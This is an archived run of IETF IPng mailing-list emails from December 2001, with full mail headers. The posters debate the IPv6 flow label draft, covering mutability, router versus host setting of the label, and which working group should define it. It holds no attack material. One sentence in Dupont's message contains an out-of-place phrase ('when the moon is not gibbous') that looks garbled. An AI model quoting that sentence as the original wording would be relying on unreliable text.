<147140000.1008875861@localhost> Date: Fri, 21 Dec 2001 16:44:16 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: I use such scenario in real life for my home office network (dynamic IPv4 on gateway). configured (a static prefix): homeoffice <-> tunnel.bieringer.de <-> 6bone + 6to4: homeoffice <-> 6to4relay <-> 6bone => why do you need 6to4 when you already have a static prefix? Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 08:04:02 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLG42ZR002002 for ; Fri, 21 Dec 2001 08:04:02 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLG425r002001 for ipng-dist; Fri, 21 Dec 2001 08:04:02 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLG3xZR001994 for ; Fri, 21 Dec 2001 08:03:59 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA11253 for ; Fri, 21 Dec 2001 08:03:59 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA19973 for ; Fri, 21 Dec 2001 09:03:40 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBLG3eI27262; Fri, 21 Dec 2001 17:03:40 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id RAA09045; Fri, 21 Dec 2001 17:03:40 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBLG3WD69614; Fri, 21 Dec 2001 17:03:40 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112211603.fBLG3WD69614@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Tony Hain" cc: "Hesham Soliman \(ERA\)" , jarno.rajahalme@nokia.com, kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-reply-to: Your message of Thu, 20 Dec 2001 12:15:13 PST. Date: Fri, 21 Dec 2001 17:03:32 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: There is value in a mechanism that the origin host can trust that a remote router will see its intent. If you are strictly talking about endpoint conversations, yes using an extension header is appropriate. The point is that an application needs to communicate with routers along the path and know that some random transit administration hasn't changed the message. => I believe we agree: I never wanted that some random transit administration may change my messages, in fact I'd like that all random transit administration may only look at what is needed for advanced routing, i.e. the IPv6 (and hop-by-hop if any) header(s). Especially they may not look at upper layer elements like ports which are nothing to do with routing: my idea is that upper layer elements should be protected as the content of (surface) mails. I have an anology about transparent when the moon is not gibbous middle boxes: if someone takes your surface mail and faxes it without your agreement to your correspondent post office you don't consider this as a service improvement and you'll loudly complain (argh! In American English the right term is "sue"). Regards Francis.Dupont@enst-bretagne.fr PS: so I am still happy if the zero label one-way mutability is restricted to a router in the domain of the sending or receiving node. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 08:18:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGIqZR002057 for ; Fri, 21 Dec 2001 08:18:52 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLGIqcm002056 for ipng-dist; Fri, 21 Dec 2001 08:18:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGImZR002049 for ; Fri, 21 Dec 2001 08:18:48 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA13392 for ; Fri, 21 Dec 2001 08:18:49 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA15669 for ; Fri, 21 Dec 2001 09:18:48 -0700 (MST) Received: from esealnt461 (esealnt461.al.sw.ericsson.se [153.88.251.61]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBLGIlJ11735 for ; Fri, 21 Dec 2001 17:18:47 +0100 (MET) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt461 ; Fri Dec 21 17:18:32 2001 +0100 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Dec 2001 17:18:47 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C184@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Robert Elz'" , "Hesham Soliman (ERA)" Cc: jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 17:18:24 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk => I agree with nealry everything you said except for one point I'd like to clarify below. > In general, Tony Hain's arguments are pretty persuasive to > me ... but I > am not sure that I would go as far as to prohibit all changes to the > label - though the only ones I would allow are where the source has > explicitly said that changes are OK (which an initial label of 0, or > we could reserve FFFFF for the purpose, could be defined to > do, and some > flow state setup mechanism could also do). => Fully agree with this and all of Tony's comments on this thread. One point I'd like to clarify here is my suggestion that some other part of the stack (other than the application). can set the flow label. The reason I suggested that (and I do think it's different from having it set by the router) is that I've been looking at some mobility scenarios in which a multihomed IPv6 MN can direct it's inbound traffic to certain interfaces based on some internal policies (QoS, cost, BW ...etc on each interface) using MIPv6 signalling. So in this case, if you end up with an application that doesn't support the flow label or simply doesn't care, it might still be a good idea to set the flow by another function in the IPv6 stack to be able to identify the flow when signalling to the CN or HA. So to be very clear, I was suggesting that for cases where the applications have not set the flow label, AND the host requires an e2e immutable value. > > Also, everyone please note, just in case it isn't already > clear. When > anyone says the field needs to be immutable (in this case > anyway), it > isn't (really) because anyone cares what value is delivered to the > recipient node - it is that we want to know what value will > be observed as > the packet passes through each routing domain along the > path. That's > important. It just happens that this is equivalent to > saying that the > field must not be modified (perhaps with some specific exceptions). => Agreed. But some of the cases I've looked into would require the end node (as well as routers along the path) to verify the validity of the flow label. This is an addition to what you say and doesn't contradict it. Without some sort of semi secured flow label, the mutability requirement seems like a gentlemen's agreement :) The problem is that this is not verifiable, which is why I see a benefit in using some hash function to generate it. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 08:19:19 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGJIZR002067 for ; Fri, 21 Dec 2001 08:19:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLGJI3n002066 for ipng-dist; Fri, 21 Dec 2001 08:19:18 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGJDZR002059 for ; Fri, 21 Dec 2001 08:19:13 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA20886 for ; Fri, 21 Dec 2001 08:19:14 -0800 (PST) Received: from mail.wrs.com (unknown-1-11.windriver.com [147.11.1.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA09331 for ; Fri, 21 Dec 2001 08:19:14 -0800 (PST) Received: from kenawang ([128.224.4.111]) by mail.wrs.com (8.9.3/8.9.1) with ESMTP id IAA05986; Fri, 21 Dec 2001 08:18:14 -0800 (PST) Message-Id: <4.2.2.20011221110844.01fe01b0@mail.windriver.com> X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Fri, 21 Dec 2001 11:15:08 -0500 To: "Tony Hain" From: Margaret Wasserman Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Cc: In-Reply-To: References: <4.2.2.20011220154229.01fa6cf0@mail.windriver.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk So, let me get this right... > > Then, why not leave the specification of flow label semantics and > > rules to this same WG? > >Because the participants in those WGs have consistently proven they >don't understand the concept of an architecturally consistent immutable >field which the origin can trust. You believe that the IPv6 group should restrict the use of the flow label because we can't trust another IETF WG, one that specializes in flow-management mechanisms, to make appropriate architectural decisions? This is so wrong, on so many counts, that I'm not even sure how to continue... Margaret -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 08:27:16 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGRGZR002113 for ; Fri, 21 Dec 2001 08:27:16 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLGRGlX002112 for ipng-dist; Fri, 21 Dec 2001 08:27:16 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGRCZR002105 for ; Fri, 21 Dec 2001 08:27:12 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA28317 for ; Fri, 21 Dec 2001 08:27:13 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA19168 for ; Fri, 21 Dec 2001 09:27:59 -0700 (MST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBLGRBJ17437 for ; Fri, 21 Dec 2001 17:27:11 +0100 (MET) Received: FROM esealnt400.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Fri Dec 21 17:27:10 2001 +0100 Received: by esealnt400 with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Dec 2001 17:27:10 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C185@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Margaret Wasserman'" , Tony Hain Cc: ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 17:26:52 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret, > > > Then, why not leave the specification of flow label > semantics and > > > rules to this same WG? > > > >Because the participants in those WGs have consistently proven they > >don't understand the concept of an architecturally > consistent immutable > >field which the origin can trust. > > You believe that the IPv6 group should restrict the use of > the flow label because we can't trust another IETF WG, one > that specializes in flow-management mechanisms, to make > appropriate architectural decisions? > => Perhaps another way to look at this, is to come back to basics and say that the flow label is part of the IPv6 header, therefore it seems rational to let IPv6 WG define its use. I don't see anything wrong with this, no other fields in the IPv6 header are defined by other groups. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 08:46:37 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGkaZR002184 for ; Fri, 21 Dec 2001 08:46:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLGkaf5002183 for ipng-dist; Fri, 21 Dec 2001 08:46:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGkXZR002176 for ; Fri, 21 Dec 2001 08:46:33 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA17801 for ; Fri, 21 Dec 2001 08:46:34 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22661 for ; Fri, 21 Dec 2001 08:46:32 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBLGmfa03797; Fri, 21 Dec 2001 23:48:41 +0700 (ICT) From: Robert Elz To: "Hesham Soliman (ERA)" cc: jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C184@Esealnt861.al.sw.ericsson.se> References: <4DA6EA82906FD511BE2F00508BCF053801C4C184@Esealnt861.al.sw.ericsson.se> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Fri, 21 Dec 2001 23:48:41 +0700 Message-ID: <3795.1008953321@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Fri, 21 Dec 2001 17:18:24 +0100 From: "Hesham Soliman (ERA)" Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C184@Esealnt861.al.sw.ericsson.se> | So in this case, if you end up with an application that | doesn't support the flow label or simply doesn't | care, it might still be a good idea to set the flow | by another function in the IPv6 stack to be able | to identify the flow when signalling to the CN | or HA. Sure. | => Agreed. But some of the cases I've looked into would | require the end node (as well as routers along the | path) to verify the validity of the flow label. That is going to be an interesting challenge. Good luck. | Without some sort of semi secured flow label, the | mutability requirement seems like a gentlemen's | agreement :) Yes. As Glenn Morrow said in a recent message, if it can be altered and there's a business imperative, it will be altered. However, what counts is "can be altered" - that happens only if things don't break when it is altered. If packets get rejected because it is being authenticated, and the alteration is detected - that's breaking, so anyone who tried to fiddle such a field would find themselves with no customers. But that's not the only way for things to break, and any breakage has the same effect. The reason that people got away with altering the IPv4 TOS field was simply that no-one cared - it was used for nothing in practice. Had there been applications that actually used it, or routing schemes that depended upon it, it wouldn't have been able to be altered without the s**t hitting the fan. We don't need cryptographic type protection to avoid that kind of manipulation - we just need to actually care what the value is. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 08:55:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGtVZR002209 for ; Fri, 21 Dec 2001 08:55:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLGtVNi002208 for ipng-dist; Fri, 21 Dec 2001 08:55:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLGtSZR002201 for ; Fri, 21 Dec 2001 08:55:28 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA03364 for ; Fri, 21 Dec 2001 08:55:29 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA27812 for ; Fri, 21 Dec 2001 08:55:28 -0800 (PST) Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBLGtRJ03754 for ; Fri, 21 Dec 2001 17:55:27 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Fri Dec 21 17:55:26 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Dec 2001 17:46:52 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C188@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Robert Elz'" , "Hesham Soliman (ERA)" Cc: jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 17:55:10 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > However, what counts is "can be altered" - that happens > only if things > don't break when it is altered. If packets get rejected > because it is > being authenticated, and the alteration is detected - > that's breaking, > so anyone who tried to fiddle such a field would find > themselves with > no customers. => Exactly. > > The reason that people got away with altering the IPv4 TOS field was > simply that no-one cared - it was used for nothing in > practice. Had > there been applications that actually used it, or routing > schemes that > depended upon it, it wouldn't have been able to be altered > without the > s**t hitting the fan. => True ! > > We don't need cryptographic type protection to avoid that kind of > manipulation - we just need to actually care what the value is. > => ok but if 'care' does not translate into an implementation that tells you when something breaks then we care but we'll be frustrated with 'stupid computers that don't work' without knowing why ! I'm obviously trying to think of an average user here, (that excludes anyone on any IETF mailing list :)) who might notice a warning that data was tampered with instead of just getting frustrated with bad service without knowing why. Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 09:04:03 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLH43ZR002235 for ; Fri, 21 Dec 2001 09:04:03 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLH43P6002234 for ipng-dist; Fri, 21 Dec 2001 09:04:03 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLH40ZR002227 for ; Fri, 21 Dec 2001 09:04:00 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA26685 for ; Fri, 21 Dec 2001 09:04:01 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA02600 for ; Fri, 21 Dec 2001 09:04:01 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fBLGuR113091; Fri, 21 Dec 2001 08:56:27 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO36499; Fri, 21 Dec 2001 08:55:53 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id IAA06966; Fri, 21 Dec 2001 08:56:26 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15395.27066.627516.132289@thomasm-u1.cisco.com> Date: Fri, 21 Dec 2001 08:56:26 -0800 (PST) To: Robert Elz Cc: "Hesham Soliman (ERA)" , jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <2371.1008932621@brandenburg.cs.mu.OZ.AU> References: <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> <2371.1008932621@brandenburg.cs.mu.OZ.AU> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Robert Elz writes: > | Alternatively another part of the stack may also choose to set it. > > Yes. But don't you see how similar this is to having a router set it? > In either case, it won't (shouldn't) be altered if it has been explicitly > set by the application, but assuming the existence of a "not set to anything" > or if you like "I don't care" value (which is the 0 value currently), > if there some particular reason it makes a big difference whether something > down the stack change it, or whether a router does? In either case, when > the packet arrives at the destination application, it has been changed. I sure see a difference. If my stack does that for me I always have the option to cd /usr/src/linux/net/ipv6 and make it stop doing that; YMMV. In a router, I stop having that option. > | => So I guess you're arguing for allowing the > | case where routers can modify the flow label > | from zero to X. But should we then force them > | to set it back to Zero again ? > > Yes, that's it - though "arguing for" is perhaps too strong, > "arguing against prohibiting" would be better. > > And I can't imagine why. I can. It's the slippery slope to MIDCOM. If we *really* want to preserve options here, let's incoprorate Christian's suggestion that we save a couple of bits out of the field which define the sematics of the flow lable. The beauty of Alex and Jarno's proposal is it's simplicity. Mucking with that isn't likely to provide anything new, IMO. Mike -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 09:14:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHEPZR002260 for ; Fri, 21 Dec 2001 09:14:25 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLHEO5C002259 for ipng-dist; Fri, 21 Dec 2001 09:14:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHELZR002252 for ; Fri, 21 Dec 2001 09:14:21 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA23294 for ; Fri, 21 Dec 2001 09:14:23 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (96-1.nat.psu.ac.th [202.28.96.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA08661 for ; Fri, 21 Dec 2001 09:14:17 -0800 (PST) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id fBLHG6a03935; Sat, 22 Dec 2001 00:16:06 +0700 (ICT) From: Robert Elz To: Michael Thomas cc: "Hesham Soliman (ERA)" , jarno.rajahalme@nokia.com, Francis.Dupont@enst-bretagne.fr, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt In-Reply-To: <15395.27066.627516.132289@thomasm-u1.cisco.com> References: <15395.27066.627516.132289@thomasm-u1.cisco.com> <4DA6EA82906FD511BE2F00508BCF053801C4C16C@Esealnt861.al.sw.ericsson.se> <2371.1008932621@brandenburg.cs.mu.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 22 Dec 2001 00:16:06 +0700 Message-ID: <3933.1008954966@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Fri, 21 Dec 2001 08:56:26 -0800 (PST) From: Michael Thomas Message-ID: <15395.27066.627516.132289@thomasm-u1.cisco.com> | I sure see a difference. If my stack does that for me | I always have the option to cd /usr/src/linux/net/ipv6 | and make it stop doing that; YMMV. In a router, I stop | having that option. If your router does it, and you don't want it to, you reconfigure the router, or if that's not possible, you replace it. If it isn't your choice to change that, then you're probably attempting to defeat the policies of your local net. | I can. It's the slippery slope to MIDCOM. I have learned to largely ignore slippery slope arguments. They're mostly FUD. | If we *really* want to preserve options here, | let's incoprorate Christian's suggestion that | we save a couple of bits out of the field which | define the sematics of the flow lable. Are you paying any attention to what is being suggested? Really? | The beauty of Alex and Jarno's proposal is it's | simplicity. Mucking with that isn't likely | to provide anything new, IMO. What I have been describing ie *exactly* what is in their draft (as it stands now, before any input from the SLC meeting, or this discussion on the list has had a chance to affect it). Have you read it? kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 09:16:18 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLHGIZR002289 for ; Fri, 21 Dec 2001 09:16:18 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLHGHk3002288 for ipng-dist; 